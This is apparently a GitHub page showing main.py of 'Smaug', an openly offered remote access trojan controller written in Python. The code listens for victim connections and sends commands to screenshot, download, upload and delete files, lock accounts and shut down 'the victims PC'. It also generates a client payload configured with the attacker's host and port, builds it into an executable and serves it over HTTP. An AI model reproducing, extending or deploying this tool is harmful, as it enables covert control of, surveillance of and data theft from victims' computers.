-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
353 lines (279 loc) · 13.9 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
#!/usr/bin
# Made by gokiimax
import os
import json
import base64
import socket
import http.server
import socketserver
from colorama import Fore
from utils.config import *
from threading import Thread
from utils.discordRPC import *
from utils.UpdateChecker import *
# ============================================================================================================================ #
config = Config("config.json")
theme = config.get("theme")
theme_color = Fore.LIGHTRED_EX
if theme == "red":
theme_color = Fore.LIGHTRED_EX
elif theme == "blue":
theme_color = Fore.LIGHTBLUE_EX
elif theme == "green":
theme_color = Fore.LIGHTGREEN_EX
elif theme == "purple":
theme_color = Fore.MAGENTA
elif theme == "black":
theme_color = Fore.BLACK
elif theme == "white":
theme_color = Fore.WHITE
elif theme == "cyan":
theme_color = Fore.CYAN
version = open("./version.txt").read()
host = config.get("host")
port = config.get("port")
fileHosting = config.get("enableFileHosting")
fileHostingPort = config.get("fileHostingPort")
# ============================================================================================================================ #
banner = f"""{theme_color}
,'\ |\\
/ /.: ;;
/ :'|| //
(| | ||;'
/ ||,;'-.._
: ,;,`';:.--`
|:|'`-(\\\\
::: \-'\`'
\\\\ \,-`.
`'\ `.,-`-._ ,-._
,-. \ `.,-' `-. / ,..`.
/ ,.`. `. \ _.-' \\',: ``\ \\
/ / :..`-'''``-) `. _.:'' ''\ \\
: : '' `-..''`/ |-'' |'' '' \ \\
| | '' '' : |__..-;'' '' : : » {Fore.LIGHTBLACK_EX}Smaug {Fore.GREEN}v{version} {theme_color}
| | '' '' | ; / '' '' | | » {Fore.LIGHTBLACK_EX}Type {Fore.GREEN}'help'{Fore.LIGHTBLACK_EX} to see all available Commands{theme_color}
| | '' '' ; /--../_ ''_ '' _| | » {Fore.LIGHTBLACK_EX}Developed by {Fore.GREEN}gokiimax {theme_color}
| | '' _;:_/ :._ /-.'',-.'',-. |
: : '',;'`;/ |_ ,( `' `' \| » {Fore.LIGHTBLACK_EX}CONFIG SETTINGS {theme_color}«
\ \ \( /\ :,' \\ » {Fore.LIGHTBLACK_EX}Host: {theme_color}{host}
\ \.'/ : / ,) / » {Fore.LIGHTBLACK_EX}Port: {theme_color}{port}
\ ': ': / \ :
`.\ : :\ \ |
\ | `. \ |..-_
) |. `/___-.-`
,' -.'. `. `' _,)
\\'\(`.\ `._ `-..___..-','
`' ``-..___..-'
"""
# ============================================================================================================================ #
class Utils:
def clear():
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
def clear_command():
if os.name == 'nt':
os.system('cls')
print(banner)
else:
os.system('clear')
print(banner)
def help_command():
commands = [
['help ', 'Show all available commands'],
['cd ', 'Change the current directory'],
['ls ', 'List the current directory'],
['turnmonoff ', 'Turn the victims Monitor off'],
['turnmonon ', 'Turn the victims Monitor on'],
['checkadmin ', 'Check if the victim has admin Privileges'],
['localtime ', 'See the victims localtime'],
['clear ', 'Clear the console'],
['reboot ', 'Reboot the victims pc'],
['shutdown ', 'Shutdown the victims pc'],
['lock ', 'Lock the victims account!'],
['screenshot ', 'Take a screenshot from the victims PC'],
['download ', 'Download files from the victims PC'],
['del ', 'Delete a directory or a file'],
['upload ', 'Upload files to the victims PC'],
['sysinfo ', 'Shows Information about the victims PC'],
['close ', 'Close the connection and exit the application from both sites']
]
index = 0
print("\n")
print(f"\t{theme_color}╭─────────────────╮")
for command in commands:
print(f"{theme_color}\t│ {Fore.RESET}{index} {command[0]}{theme_color} │{Fore.RESET} {Fore.LIGHTBLACK_EX}»{Fore.RESET} {command[1]}")
index += 1
print(f"\t{theme_color}╰─────────────────╯")
# ============================================================================================================================ #
class Server:
def __init__(self, ip, port):
# Setup socket server and bind ip and the port
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((ip, port))
server.listen(0) # Listen for incoming connections
Utils.clear()
print(banner)
print(f"[+] Now listening on port {port}!")
self.connection, self.address = server.accept() # Accept incoming connection
Utils.clear()
print(banner)
self.username = self.data_receive()
print(f"[+] Connected To {str(self.username)}@{str(self.address[0])}")
# ============================================================================================================================ #
def data_receive(self):
jsonData = b""
while True:
try:
jsonData += self.connection.recv(1024)
return json.loads(jsonData)
except ValueError:
continue
# ============================================================================================================================ #
def data_send(self, data):
jsonData = json.dumps(data)
self.connection.send(jsonData.encode())
# ============================================================================================================================ #
def execute_remotely(self, command):
self.data_send(command)
if command[0] == "close":
self.connection.close()
exit(-1)
return self.data_receive()
# ============================================================================================================================ #
def read_file(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read())
# ============================================================================================================================ #
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content))
return "[+] Download completed!"
# ============================================================================================================================ #
def handle_result(self, result):
if "[-]" in result:
return "\n" + Fore.RED + result + Fore.RESET + "\n"
elif "[+]" in result:
return "\n" + Fore.GREEN + result + Fore.RESET + "\n"
else:
result = result.replace("╭", f"{theme_color}╭{Fore.RESET}").replace("╰", f"{theme_color}╰{Fore.RESET}").replace("─", f"{theme_color}─{Fore.RESET}").replace("╮", f"{theme_color}╮{Fore.RESET}").replace("╯", f"{theme_color}╯{Fore.RESET}")
result = result.replace("│", f"{theme_color}│{Fore.RESET}").replace("»", f"{Fore.LIGHTBLACK_EX}»{Fore.RESET}")
return "\n" + Fore.RESET + result + Fore.RESET + "\n"
# ============================================================================================================================ #
def run(self):
while True:
# Handle Command input
command = input(f"{theme_color}╭── {Fore.WHITE}[ {theme_color}Smaug@{self.address[0]}{Fore.WHITE} ]\n{theme_color}╰──────# {Fore.RESET}")
command = command.split(" ", 1)
try:
if command[0] == "upload":
fileContent = self.read_file(command[1]).decode()
command.append(fileContent)
result = self.execute_remotely(command)
if command[0] == "download" and "[-] Error" not in result:
result = self.write_file(command[1], result)
if command[0] == "screenshot" and "[-] Error" not in result:
result = self.write_file("screenshot.png", result)
elif command[0] == "help":
Utils.help_command()
elif command[0] == "clear":
Utils.clear_command()
except Exception:
result = "[-] Error running command, check the syntax of the command."
print(self.handle_result(result=result))
# ============================================================================================================================ #
class quiet_server(http.server.SimpleHTTPRequestHandler):
def log_message(self, format: str, *args: any) -> None:
pass
class Helper():
def host_files():
handler = quiet_server
with socketserver.TCPServer((host, fileHostingPort), handler) as httpd:
print(f"{Fore.LIGHTBLACK_EX}[{Fore.LIGHTGREEN_EX}SUCCESS{Fore.LIGHTBLACK_EX}]{Fore.LIGHTGREEN_EX} Youre files are hosted on: http://{host}:{fileHostingPort}")
print(f"{Fore.LIGHTBLACK_EX}[{Fore.LIGHTGREEN_EX}SUCCESS{Fore.LIGHTBLACK_EX}]{Fore.LIGHTGREEN_EX} Find you're payloads on: http://{host}:{fileHostingPort}/out")
httpd.serve_forever()
# ============================================================================================================================ #
class Application():
def printHelp(self):
commands = [
['help ', 'Show all available commands'],
['start server ', 'Start the rat server'],
['createpayload ', 'Create a payload with your settings'],
['build ', 'Use this after creating the payload, if you want an exe']
['clear ', 'Clear the console'],
['exit ', 'Exit the application']
]
index = 0
print("\n")
print(f"\t{theme_color}╭──────────────────────────────╮")
for command in commands:
print(f"{theme_color}\t│ {Fore.RESET}{index} {command[0]}{theme_color} │{Fore.RESET} {Fore.LIGHTBLACK_EX}»{Fore.RESET} {command[1]}")
index += 1
print(f"\t{theme_color}╰──────────────────────────────╯")
print("\n")
# ============================================================================================================================ #
def build_payload(self):
os.system("./build_payload.bat")
# ============================================================================================================================ #
def create_payload(self):
if os.path.isfile('./out/client.pyw'):
os.remove("./out/client.pyw")
with open("./resources/client.txt", 'r') as first_file, open('./out/client.pyw', 'a') as second_file:
for line in first_file:
second_file.write(line.replace("ENTER HOST", host).replace("'ENTER PORT'", f"{port}"))
print(f"{Fore.LIGHTGREEN_EX}[+] Successfully created payload in './out/client.pyw'")
# ============================================================================================================================ #
def run(self):
while True:
# Handle Command input
command = input(f"{theme_color}╭── {Fore.WHITE}[ {theme_color}Smaug@admin{Fore.WHITE} ]\n{theme_color}╰──────# {Fore.RESET}")
command = command.split(" ", 1)
try:
if command[0] == "start" and command[1] == "server":
server = Server(host, port)
server.run()
break
elif command[0] == "help":
self.printHelp()
elif command[0] == "build":
self.build_payload()
elif command[0] == "clear":
Utils.clear_command()
elif command[0] == "createpayload":
self.create_payload()
elif command[0] == "exit":
exit(-1)
break
except Exception as e:
print(e)
print("[-] Error running command, check the syntax of the command.")
# ============================================================================================================================ #
def main():
Utils.clear()
print(banner)
if(config.get("check_for_update")):
check_for_update(version=version)
if fileHosting:
t = Thread(target=Helper.host_files)
t.start()
# Start the application
application = Application()
if config.get("discordRPC"):
discord = Discord()
discord.update(
state=f"Version: {version}",
large_image="large",
large_text="Smaug",
small_image="small",
small_text="Reverse Shell",
buttons=[{"label": "Check It out!", "url": "https://github.com/gokiimax/Smaug-Reverse-Shell"}],
start=time.time()
)
application.run()
main()
# handler = http.server.SimpleHTTPRequestHandler
# with socketserver.TCPServer(("", fileHostingPort), handler) as httpd:
# print(f"{theme_color}You can find your output file on: {host}:{fileHostingPort}/out/client.pyw")
# httpd.serve_forever()